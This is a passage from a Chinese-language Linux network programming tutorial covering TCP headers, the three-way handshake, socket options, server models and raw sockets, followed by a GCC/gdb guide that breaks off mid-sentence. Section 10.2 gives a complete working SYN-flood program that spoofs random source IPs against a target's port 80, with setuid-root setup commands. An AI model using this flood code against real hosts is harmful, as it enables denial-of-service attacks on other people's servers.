u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
關于UDP協議的詳細情況,請參考 RFC768
7.5 TCP
TCP協議也是建立在IP協議之上的,不過TCP協議是可靠的.按照順序發送的.TCP的數據結
構比前面的結構都要復雜.
0 4 8 10 16 24 32
-------------------------------------------------------------------
| 源端口 | 目的端口 |
-------------------------------------------------------------------
| 序列號 |
------------------------------------------------------------------
| 確認號 |
------------------------------------------------------------------
| | |U|A|P|S|F| |
|首部長度| 保留 |R|C|S|Y|I| 窗口 |
| | |G|K|H|N|N| |
-----------------------------------------------------------------
| 校驗和 | 緊急指針 |
-----------------------------------------------------------------
| 選項 | 填充字節 |
-----------------------------------------------------------------
TCP的結構在<netinet/tcp.h>中定義為:
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};
source發送TCP數據的源端口
dest接受TCP數據的目的端口
seq標識該TCP所包含的數據字節的開始序列號
ack_seq確認序列號,表示接受方下一次接受的數據序列號.
doff數據首部長度.和IP協議一樣,以4字節為單位.一般的時候為5
urg如果設置緊急數據指針,則該位為1
ack如果確認號正確,那么為1
psh如果設置為1,那么接收方收到數據后,立即交給上一層程序
rst為1的時候,表示請求重新連接
syn為1的時候,表示請求建立連接
fin為1的時候,表示親戚關閉連接
window窗口,告訴接收者可以接收的大小
check對TCP數據進行較核
urg_ptr如果urg=1,那么指出緊急數據對于歷史數據開始的序列號的偏移值
關于TCP協議的詳細情況,請查看 RFC793
7.6 TCP連接的建立
TCP協議是一種可靠的連接,為了保證連接的可靠性,TCP的連接要分為幾個步驟.我們把這
個連接過程稱為"三次握手".
下面我們從一個實例來分析建立連接的過程.
第一步客戶機向服務器發送一個TCP數據包,表示請求建立連接. 為此,客戶端將數據包的
SYN位設置為1,并且設置序列號seq=1000(我們假設為1000).
第二步服務器收到了數據包,并從SYN位為1知道這是一個建立請求的連接.于是服務器也
向客戶端發送一個TCP數據包.因為是響應客戶機的請求,于是服務器設置ACK為1,sak_se
q=1001(1000+1)同時設置自己的序列號.seq=2000(我們假設為2000).
第三步客戶機收到了服務器的TCP,并從ACK為1和ack_seq=1001知道是從服務器來的確認
信息.于是客戶機也向服務器發送確認信息.客戶機設置ACK=1,和ack_seq=2001,seq=100
1,發送給服務器.至此客戶端完成連接.
最后一步服務器受到確認信息,也完成連接.
通過上面幾個步驟,一個TCP連接就建立了.當然在建立過程中可能出現錯誤,不過TCP協議
可以保證自己去處理錯誤的.
說一說其中的一種錯誤.
聽說過DOS嗎?(可不是操作系統啊).今年春節的時候,美國的五大網站一起受到攻擊.攻
擊者用的就是DOS(拒絕式服務)方式.概括的說一下原理.
客戶機先進行第一個步驟.服務器收到后,進行第二個步驟.按照正常的TCP連接,客戶機
應該進行第三個步驟.
不過攻擊者實際上并不進行第三個步驟.因為客戶端在進行第一個步驟的時候,修改了自
己的IP地址,就是說將一個實際上不存在的IP填充在自己IP數據包的發送者的IP一欄.這
樣因為服務器發的IP地址沒有人接收,所以服務端會收不到第三個步驟的確認信號,這樣
服務務端會在那邊一直等待,直到超時.
這樣當有大量的客戶發出請求后,服務端會有大量等待,直到所有的資源被用光,而不能再
接收客戶機的請求.
這樣當正常的用戶向服務器發出請求時,由于沒有了資源而不能成功.于是就出現了春節
時所出現的情況.
----------------------------------------------------------------------------

網絡編程(8)

8. 套接字選項
有時候我們要控制套接字的行為(如修改緩沖區的大小),這個時候我們就要控制套接字的
選項了.
8.1 getsockopt和setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optl
en)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t
*optlen)
level指定控制套接字的層次.可以取三種值: 1)SOL_SOCKET:通用套接字選項. 2)IPPRO
TO_IP:IP選項. 3)IPPROTO_TCP:TCP選項.
optname指定控制的方式(選項的名稱),我們下面詳細解釋
optval獲得或者是設置套接字選項.根據選項名稱的數據類型進行轉換
選項名稱 說明 數據類型
========================================================================
SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST 允許發送廣播數據 int
SO_DEBUG 允許調試 int
SO_DONTROUTE 不查找路由 int
SO_ERROR 獲得套接字錯誤 int
SO_KEEPALIVE 保持連接 int
SO_LINGER 延遲關閉連接 struct linge
r
SO_OOBINLINE 帶外數據放入正常數據流 int
SO_RCVBUF 接收緩沖區大小 int
SO_SNDBUF 發送緩沖區大小 int
SO_RCVLOWAT 接收緩沖區下限 int
SO_SNDLOWAT 發送緩沖區下限 int
SO_RCVTIMEO 接收超時 struct timev
al
SO_SNDTIMEO 發送超時 struct timev
al
SO_REUSERADDR 允許重用本地地址和端口 int
SO_TYPE 獲得套接字類型 int
SO_BSDCOMPAT 與BSD系統兼容 int
==========================================================================
IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL 在數據包中包含IP首部 int
IP_OPTINOS IP首部選項 int
IP_TOS 服務類型
IP_TTL 生存時間 int
==========================================================================
IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG TCP最大數據段的大小 int
TCP_NODELAY 不使用Nagle算法 int
=========================================================================
關于這些選項的詳細情況請查看 Linux Programmer's Manual
8.2 ioctl
ioctl可以控制所有的文件描述符的情況,這里介紹一下控制套接字的選項.
int ioctl(int fd,int req,...)
==========================================================================
ioctl的控制選項
--------------------------------------------------------------------------
SIOCATMARK 是否到達帶外標記 int
FIOASYNC 異步輸入/輸出標志 int
FIONREAD 緩沖區可讀的字節數 int
==========================================================================
詳細的選項請用 man ioctl_list 查看.
--

網絡編程(9)

9. 服務器模型
學習過《軟件工程》吧.軟件工程可是每一個程序員"必修"的課程啊.如果你沒有學習過
, 建議你去看一看. 在這一章里面,我們一起來從軟件工程的角度學習網絡編程的思想.
在我們寫程序之前, 我們都應該從軟件工程的角度規劃好我們的軟件,這樣我們開發軟件
的效率才會高. 在網絡程序里面,一般的來說都是許多客戶機對應一個服務器.為了處理
客戶機的請求, 對服務端的程序就提出了特殊的要求.我們學習一下目前最常用的服務器
模型.
循環服務器:循環服務器在同一個時刻只可以響應一個客戶端的請求
并發服務器:并發服務器在同一個時刻可以響應多個客戶端的請求
9.1 循環服務器:UDP服務器
UDP循環服務器的實現非常簡單:UDP服務器每次從套接字上讀取一個客戶端的請求,處理
, 然后將結果返回給客戶機.
可以用下面的算法來實現.
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
}
因為UDP是非面向連接的,沒有一個客戶端可以老是占住服務端. 只要處理過程不是死循
環, 服務器對于每一個客戶機的請求總是能夠滿足.
9.2 循環服務器:TCP服務器
TCP循環服務器的實現也不難:TCP服務器接受一個客戶端的連接,然后處理,完成了這個客
戶的所有請求后,斷開連接.
算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP循環服務器一次只能處理一個客戶端的請求.只有在這個客戶的所有請求都滿足后,
服務器才可以繼續后面的請求.這樣如果有一個客戶端占住服務器不放時,其它的客戶機
都不能工作了.因此,TCP服務器一般很少用循環服務器模型的.
9.3 并發服務器:TCP服務器
為了彌補循環TCP服務器的缺陷,人們又想出了并發服務器的模型. 并發服務器的思想是
每一個客戶機的請求并不由服務器直接處理,而是服務器創建一個 子進程來處理.
算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP并發服務器可以解決TCP循環服務器客戶機獨占服務器的情況. 不過也同時帶來了一
個不小的問題.為了響應客戶機的請求,服務器要創建子進程來處理. 而創建子進程是一
種非常消耗資源的操作.
9.4 并發服務器:多路復用I/O
為了解決創建子進程帶來的系統資源消耗,人們又想出了多路復用I/O模型.
首先介紹一個函數select
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
一般的來說當我們在向文件讀寫時,進程有可能在讀寫出阻塞,直到一定的條件滿足. 比
如我們從一個套接字讀數據時,可能緩沖區里面沒有數據可讀(通信的對方還沒有 發送數
據過來),這個時候我們的讀調用就會等待(阻塞)直到有數據可讀.如果我們不 希望阻塞
,我們的一個選擇是用select系統調用. 只要我們設置好select的各個參數,那么當文件
可以讀寫的時候select回"通知"我們 說可以讀寫了. readfds所有要讀的文件文件描述
符的集合
writefds所有要的寫文件文件描述符的集合
exceptfds其他的服要向我們通知的文件描述符
timeout超時設置.
nfds所有我們監控的文件描述符中最大的那一個加1
在我們調用select時進程會一直阻塞直到以下的一種情況發生. 1)有文件可以讀.2)有文
件可以寫.3)超時所設置的時間到.
為了設置文件描述符我們要使用幾個宏. FD_SET將fd加入到fdset
FD_CLR將fd從fdset里面清除
FD_ZERO從fdset中清除所有的文件描述符
FD_ISSET判斷fd是否在fdset集合中
使用select的一個例子
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;i<n;i++)
if(readfd[i]>maxfd) maxfd=readfd[i];
while(1)
{
/* 將所有的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i<n;i++)
FD_SET(readfd[i],*my_readfd);
/* 進程阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有東西可以讀了 */
for(i=0;i<n;i++)
if(FD_ISSET(readfd[i],&my_readfd))
{
/* 原來是我可以讀了 */
we_read(readfd[i]);
}
}
}
使用select后我們的服務器程序就變成了.
初始話(socket,bind,listen);
while(1)
{
設置監聽讀寫文件描述符(FD_*);
調用select;
如果是傾聽套接字就緒,說明一個新的連接請求建立
{
建立連接(accept);
加入到監聽文件描述符中去;
}
否則說明是一個已經連接過的描述符
{
進行操作(read或者write);
}
}
多路復用I/O可以解決資源限制的問題.著模型實際上是將UDP循環模型用在了TCP上面.
這也就帶來了一些問題.如由于服務器依次處理客戶的請求,所以可能會導致有的客戶 會
等待很久.
9.5 并發服務器:UDP服務器
人們把并發的概念用于UDP就得到了并發UDP服務器模型. 并發UDP服務器模型其實是簡單
的.和并發的TCP服務器模型一樣是創建一個子進程來處理的 算法和并發的TCP模型一樣
..
除非服務器在處理客戶端的請求所用的時間比較長以外,人們實際上很少用這種模型.
9.6 一個并發TCP服務器實例
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <errno.h>
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error:%s/n/a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服務器終止后,服務器可以第二次快速啟動而不用等待一段時間 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error:%s/n/a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error:%s/n/a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子進程處理客戶端的連接 */
char buffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error:%s/n/a",strerror(errno));
close(accept_fd);
}
}
你可以用我們前面寫客戶端程序來調試著程序,或者是用來telnet調試
--

網絡編程(10)

10. 原始套接字
我們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章
里面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可
以編寫出由TCP和UDP套接字不能夠實現的功能. 注意原始套接字只能夠由有root權限的
人創建.
10.1 原始套接字的創建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比
如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況查看 <netinet/in.h> 下
面我們以一個實例來說明原始套接字的創建和使用
10.2 一個原始套接字的實例
還記得DOS是什么意思嗎?在這里我們就一起來編寫一個實現DOS的小程序. 下面是程序的
源代碼
/******************** DOS.c *****************/
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>
#define DESTPORT 80 /* 要攻擊的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname/n/a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s/n/a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP創建一個TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n/a",strerror(errno));
exit(1);
}
/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 沒有辦法,只用超級護用戶才可以使用原始套接字 *********/
setuid(getpid());
/********* 發送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 發送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的數據包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度 **/
ip->ip_tos=0; /** 服務類型 **/
ip->ip_len=htons(head_len); /** IP數據包的長度 **/
ip->ip_id=0; /** 讓系統去填寫吧 **/
ip->ip_off=0; /** 和上面一樣,省點時間 **/
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
ip->ip_sum=0; /** 校驗和讓系統去做 **/
ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/
/******* 開始填寫TCP數據包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立連接 **/
tcp->check=0;
/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那里來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();
/** 什么都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/** 下面這條可有可無 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
編譯一下,拿localhost做一下實驗,看看有什么結果.(千萬不要試別人的啊). 為了讓普
通用戶可以運行這個程序,我們應該將這個程序的所有者變為root,且 設置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 總結
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了
.. 不過這里面是不是有很多的樂趣呢. 當我們創建了一個TCP套接字的時候,我們只是負
責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據后,回自動的調用
相應的模塊給數據加上TCP頭部,然后加上IP頭部. 再發送出去.而現在是我們自己創建各
個的頭部,系統只是把它們發送出去. 在上面的實例中,由于我們要修改我們的源IP地址
,所以我們使用了setsockopt函數,如果我們只是修改TCP數據,那么IP數據一樣也可以由
系統來創建的.
--

網絡編程(11)

11. 后記
總算完成了網絡編程這個教程.算起來我差不多寫了一個星期,原來以為寫這個應該是
一件 不難的事,做起來才知道原來有很多的地方都比我想象的要難.我還把很多的東西都
省略掉了 不過寫完了這篇教程以后,我好象對網絡的認識又增加了一步.
如果我們只是編寫一般的 網絡程序還是比較容易的,但是如果我們想寫出比較好的網
絡程序我們還有著遙遠的路要走. 網絡程序一般的來說都是多進程加上多線程的.為了處
理好他們內部的關系,我們還要學習 進程之間的通信.在網絡程序里面有著許許多多的突
發事件,為此我們還要去學習更高級的 事件處理知識.現在的信息越來越多了,為了處理
好這些信息,我們還要去學習數據庫. 如果要編寫出有用的黑客軟件,我們還要去熟悉各
種網絡協議.總之我們要學的東西還很多很多.
看一看外國的軟件水平,看一看印度的軟件水平,寶島臺灣的水平,再看一看我們自己的
軟件水平大家就會知道了什么叫做差距.我們現在用的軟件有幾個是我們中國人自己編
寫的.
不過大家不要害怕,不用擔心.只要我們還是清醒的,還能夠認清我們和別人的差距, 我
們就還有希望. 畢竟我們現在還年輕.只要我們努力,認真的去學習,我們一定能夠學好的
..我們就可以追上別人直到超過別人!
相信一點:
別人可以做到的我們一樣可以做到,而且可以比別人做的更好!
勇敢的年輕人,為了我們偉大祖國的軟件產業,為了祖國的未來,努力的去奮斗吧!祖國
會記住你們的!
hoyt
11.1 參考資料
<<實用UNIX編程>>---機械工業出版社.
<<Linux網絡編程>>--清華大學出版社.

9)Linux下C開發工具介紹

Linux的發行版中包含了很多軟件開發工具. 它們中的很多是用于 C 和 C++應用程序開發
的. 本文介紹了在 Linux 下能用于 C 應用程序開發和調試的工具. 本文的主旨是介紹如
何在 Linux 下使用 C 編譯器和其他 C 編程工具, 而非 C 語言編程的教程.

GNU C 編譯器
GNU C 編譯器(GCC)是一個全功能的 ANSI C 兼容編譯器. 如果你熟悉其他操作系統或硬
件平臺上的一種 C 編譯器, 你將能很快地掌握 GCC. 本節將介紹如何使用 GCC 和一些
GCC 編譯器最常用的選項.

使用 GCC
通常后跟一些選項和文件名來使用 GCC 編譯器. gcc 命令的基本用法如下:

gcc [options] [filenames]
命令行選項指定的操作將在命令行上每個給出的文件上執行. 下一小節將敘述一些你會最
常用到的選項.

GCC 選項
GCC 有超過100個的編譯選項可用. 這些選項中的許多你可能永遠都不會用到, 但一些主
要的選項將會頻繁用到. 很多的 GCC 選項包括一個以上的字符. 因此你必須為每個選項
指定各自的連字符, 并且就象大多數 Linux 命令一樣你不能在一個單獨的連字符后跟一
組選項. 例如, 下面的兩個命令是不同的:

gcc -p -g test.c

gcc -pg test.c
第一條命令告訴 GCC 編譯 test.c 時為 prof 命令建立剖析(profile)信息并且把調試信
息加入到可執行的文件里. 第二條命令只告訴 GCC 為 gprof 命令建立剖析信息.

當你不用任何選項編譯一個程序時, GCC 將會建立(假定編譯成功)一個名為 a.out 的可
執行文件. 例如, 下面的命令將在當前目錄下產生一個叫 a.out 的文件:

gcc test.c
你能用 -o 編譯選項來為將產生的可執行文件指定一個文件名來代替 a.out. 例如, 將一
個叫 count.c 的 C 程序編譯為名叫 count 的可執行文件, 你將輸入下面的命令:

gcc -o count count.c

------------------------------------------------------------------------------
--

注意: 當你使用 -o 選項時, -o 后面必須跟一個文件名.

------------------------------------------------------------------------------
--

GCC 同樣有指定編譯器處理多少的編譯選項. -c 選項告訴 GCC 僅把源代碼編譯為目標代
碼而跳過匯編和連接的步驟. 這個選項使用的非常頻繁因為它使得編譯多個 C 程序時速
度更快并且更易于管理. 缺省時 GCC 建立的目標代碼文件有一個 .o 的擴展名.

-S 編譯選項告訴 GCC 在為 C 代碼產生了匯編語言文件后停止編譯. GCC 產生的匯編語
言文件的缺省擴展名是 .s . -E 選項指示編譯器僅對輸入文件進行預處理. 當這個選項
被使用時, 預處理器的輸出被送到標準輸出而不是儲存在文件里.

優 化 選 項
當你用 GCC 編譯 C 代碼時, 它會試著用最少的時間完成編譯并且使編譯后的代碼易于調
試. 易于調試意味著編譯后的代碼與源代碼有同樣的執行次序, 編譯后的代碼沒有經過優
化. 有很多選項可用于告訴 GCC 在耗費更多編譯時間和犧牲易調試性的基礎上產生更小
更快的可執行文件. 這些選項中最典型的是-O 和 -O2 選項.

-O 選項告訴 GCC 對源代碼進行基本優化. 這些優化在大多數情況下都會使程序執行的更
快. -O2 選項告訴 GCC 產生盡可能小和盡可能快的代碼. -O2 選項將使編譯的速度比使
用 -O 時慢. 但通常產生的代碼執行速度會更快.

除了 -O 和 -O2 優化選項外, 還有一些低級選項用于產生更快的代碼. 這些選項非常的
特殊, 而且最好只有當你完全理解這些選項將會對編譯后的代碼產生什么樣的效果時再去
使用. 這些選項的詳細描述, 請參考 GCC 的指南頁, 在命令行上鍵入 man gcc .

調試和剖析選項
GCC 支持數種調試和剖析選項. 在這些選項里你會最常用到的是 -g 和 -pg 選項.
-g 選項告訴 GCC 產生能被 GNU 調試器使用的調試信息以便調試你的程序. GCC 提供了
一個很多其他 C 編譯器里沒有的特性, 在 GCC 里你能使 -g 和 -O (產生優化代碼)聯用
.. 這一點非常有用因為你能在與最終產品盡可能相近的情況下調試你的代碼. 在你同時使
用這兩個選項時你必須清楚你所寫的某些代碼已經在優化時被 GCC 作了改動. 關于調試
C 程序的更多信息請看下一節"用 gdb 調試 C 程序" .
-pg 選項告訴 GCC 在你的程序里加入額外的代碼, 執行時, 產生 gprof 用的剖析信息以
顯示你的程序的耗時情況. 關于 gprof 的更多信息請參考 "gprof" 一節.

用 gdb 調試 GCC 程序
Linux 包含了一個叫 gdb 的 GNU 調試程序. gdb 是一個用來調試 C 和 C++ 程序的強力
調試器. 它使你能在程序運行時觀察程序的內部結構和內存的使用情況. 以下是 gdb 所
提供的一些功能:

它使你能監視你程序中變量的值.
它使你能設置斷點以使程序在指定的代碼行上停止執行.
它使你能一行行的執行你的代碼.

在命令行上鍵入 gdb 并按回車鍵就可以運行 gdb 了, 如果一切正常的話, gdb 將被啟動
并且你將在屏幕上看到類似的內容:

GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
(gdb)
當你啟動 gdb 后, 你能在命令行上指定很多的選項. 你也可以以下面的方式來運行 gdb
:

gdb <fname>
當你用這種方式運行 gdb , 你能直接指定想要調試的程序. 這將告訴gdb 裝入名為
fname 的可執行文件. 你也可以用 gdb 去檢查一個因程序異常終止而產生的 core 文件,
或者與一個正在運行的程序相連. 你可以參考 gdb 指南頁或在命令行上鍵入 gdb -h 得
到一個有關這些選項的說明的簡單列表.

為調試編譯代碼(Compiling Code for Debugging)
為了使 gdb 正常工作, 你必須使你的程序在編譯時包含調試信息. 調試信息包含你程序
里的每個變量的類型和在可執行文件里的地址映射以及源代碼的行號. gdb 利用這些信
息使源代碼和機器碼相關聯.

在編譯時用 -g 選項打開調試選項.

gdb 基本命令
gdb 支持很多的命令使你能實現不同的功能. 這些命令從簡單的文件裝入到允許你檢查所
調用的堆棧內容的復雜命令, 表27.1列出了你在用 gdb 調試時會用到的一些命令. 想了
解 gdb 的詳細使用請參考 gdb 的指南頁.

基本 gdb 命令.

命 令 描 述
file 裝入想要調試的可執行文件.
kill 終止正在調試的程序.
list 列出產生執行文件的源代碼的一部分.
next 執行一行源代碼但不進入函數內部.
step 執行一行源代碼而且進入函數內部.
run 執行當前被調試的程序
quit 終止 gdb
watch 使你能監視一個變量的值而不管它何時被改變.
print 顯示表達式的值
break 在代碼里設置斷點, 這將使程序執行到這里時被掛起.
make 使你能不退出 gdb 就可以重新產生可執行文件.
shell 使你能不離開 gdb 就執行 UNIX shell 命令.

gdb 支持很多與 UNIX shell 程序一樣的命令編輯特征. 你能象在 bash 或 tcsh里那樣
按 Tab 鍵讓 gdb 幫你補齊一個唯一的命令, 如果不唯一的話 gdb 會列出所有匹配的命
令. 你也能用光標鍵上下翻動歷史命令.

gdb 應用舉例
本節用一個實例教你一步步的用 gdb 調試程序. 被調試的程序相當的簡單, 但它展示了
gdb 的典型應用.

下面列出了將被調試的程序. 這個程序被稱為 hello , 它顯示一個簡單的問候, 再用反
序將它列出.

#include <stdio.h>

static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - i] = string[i];
string2[size+1] = '';

printf ("The string printed backward is %s ", string2);
}
用下面的命令編譯它:

gcc -g -o hello hello.c
這個程序執行時顯示如下結果:
../hello
The string is hello world!

The string printed backward is
輸出的第一行是正確的, 但第二行打印出的東西并不是我們所期望的. 我們所設想的輸出
應該是:

The string printed backward is !dlrow olleh
由于某些原因, my_print2 函數沒有正常工作. 讓我們用 gdb 看看問題究竟出在哪兒,
先鍵入如下命令:

gdb hello

------------------------------------------------------------------------------
--

注意: 記得在編譯 hello 程序時把調試選項打開.

------------------------------------------------------------------------------
--

如果你在輸入命令時忘了把要調試的程序作為參數傳給 gdb , 你可以在 gdb 提示符下用
file 命令來載入它:

(gdb) file hello
這個命令將載入 hello 可執行文件就象你在 gdb 命令行里裝入它一樣.

這時你能用 gdb 的 run 命令來運行 hello 了. 當它在 gdb 里被運行后結果大約會象這
樣:

(gdb) run

Starting program: /root/hello

The string is hello world!

The string printed backward is

Program exited with code 040
這個輸出和在 gdb 外面運行的結果一樣. 問題是, 為什么反序打印沒有工作? 為了找出
癥結所在, 我們可以在 my_print2 函數的 for 語句后設一個斷點, 具體的做法是在 gdb
提示符下鍵入 list 命令三次, 列出源代碼:

(gdb) list

(gdb) list

(gdb) list

------------------------------------------------------------------------------
--

技巧: 在 gdb 提示符下按回車健將重復上一個命令.

------------------------------------------------------------------------------
--

第一次鍵入 list 命令的輸出如下:

1 #include <stdio.h>
2
3 static void my_print (char *);
4 static void my_print2 (char *);
5
6 main ()
7 {
8 char my_string[] = "hello world!";
9 my_print (my_string);
10 my_print2 (my_string);

如果按下回車, gdb 將再執行一次 list 命令, 給出下列輸出:

11 }
12
13 void my_print (char *string)
14 {
15 printf ("The string is %s ", string);
16 }
17
18 void my_print2 (char *string)
19 {
20 char *string2;
再按一次回車將列出 hello 程序的剩余部分:

21 int size, i;
22
23 size = strlen (string);
24 string2 = (char *) malloc (size + 1);
25 for (i = 0; i < size; i++)
26 string2[size - i] = string[i];
27 string2[size+1] = '';
28
29 printf ("The string printed backward is %s ", string2);
30 }
根據列出的源程序, 你能看到要設斷點的地方在第26行, 在 gdb 命令行提示符下鍵入如
下命令設置斷點:

(gdb) break 26
gdb 將作出如下的響應:

Breakpoint 1 at 0x804857c: file hello.c, line 26.

(gdb)

現在再鍵入 run 命令, 將產生如下的輸出:

Starting program: /root/hello

The string is hello world!

Breakpoint 1, my_print2 (string=0xbffffab0 "hello world!") at hello.c:26
26 string2[size - i] = string[i];
你能通過設置一個觀察 string2[size - i] 變量的值的觀察點來看出錯誤是怎樣產生的,
做法是鍵入:

(gdb) watch string2[size - i]
gdb 將作出如下回應:

Hardware watchpoint 2: string2[size - i]
現在可以用 next 命令來一步步的執行 for 循環了:

(gdb) next
經過第一次循環后, gdb 告訴我們 string2[size - i] 的值是 `h`. gdb 用如下的顯示
來告訴你這個信息:

Hardware watchpoint 2: string2[size - i]

Old value = 0 '00'
New value = 104 'h'
my_print2 (string=0xbffffab0 "hello world!") at hello.c:25
25 for (i = 0; i < size; i++)
這個值正是期望的. 后來的數次循環的結果都是正確的. 當 i=11 時, 表達式
string2[size - i] 的值等于 `!`, size - i 的值等于 1, 最后一個字符已經拷到新串
里了.

如果你再把循環執行下去, 你會看到已經沒有值分配給 string2[0] 了, 而它是新串的
